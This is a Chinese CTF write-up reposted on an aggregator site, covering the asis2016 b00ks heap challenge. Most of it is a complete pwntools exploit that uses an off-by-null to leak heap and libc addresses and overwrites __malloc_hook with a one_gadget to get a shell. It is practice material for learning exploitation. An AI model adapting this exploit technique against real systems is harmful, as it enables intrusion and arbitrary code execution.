ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

asis2016_b00ks(off-by-null *不一般)

2022-01-18 17:02:41  阅读:221  来源: 互联网

标签:b00ks off name libc content add sendlineafter null p64


题目的例行检查我就不放了,将程序放入ida中

 

 

 程序的输入这里有一个a1=0存在off by null 

再进入add页面查看

 

 

 

 

 

 可以看到程序申请了一个0x20大小的chunk保存着当前2chunk的地址指针和index的信息

所以我们可以通过仿造或者修改指针去达到任意申请和任意写的方式

首先我们需要填满author_name使得可以泄露出chunk的地址甚至基地址

完整exp如下

from pwn import *
#p = process('./b00ks')
p = remote('node4.buuoj.cn',26785)
elf = ELF('./b00ks')
libc = ELF('./libc-2.23.so')

def launch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])

def add(namesize,name,desize,content):
    p.sendlineafter('> ','1')
    p.sendlineafter('size:',str(namesize))
    p.sendlineafter('chars): ',name)
    p.sendlineafter(': ',str(desize))
    p.sendlineafter(': ',content)

def edit(index,content):
    p.sendlineafter('> ','3')
    p.sendlineafter('edit: ',str(index))
    p.sendlineafter('description: ',content)

def show():
    p.sendlineafter('> ','4')

def free(index):
    p.sendlineafter('> ','2')
    p.sendlineafter('delete: ',str(index))
def name(content):
    p.sendlineafter('> ','5')
    p.sendlineafter('name: ',content)

#launch_gdb()
p.sendlineafter('name: ','a'*0x20)

add(0xd0,'aaaa',0x20,'bbbb')
show()
p.recvuntil('a'*32)
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print('heap_addr--->'+hex(heap_addr))

add(0x80,'aaaa',0x60,'aaaa')
add(0x10,'cccc',0x10,'aaaa')

free(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20))
name('a'*0x20)
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78
print('libc_base--->>'+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
relloc = libc_base + libc.sym['realloc']
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+one[1]
edit(1,p64(malloc_hook-0x23))

add(0x60,'aaaa',0x60,b'a'*(0x13-0x08)+p64(one_gadget)+p64(relloc+14))


p.interactive()

这种题目还是建议亲手去调试一下理解的更快

结束!

标签:b00ks,off,name,libc,content,add,sendlineafter,null,p64
来源: https://www.cnblogs.com/zhuangzhouQAQ/p/15818637.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有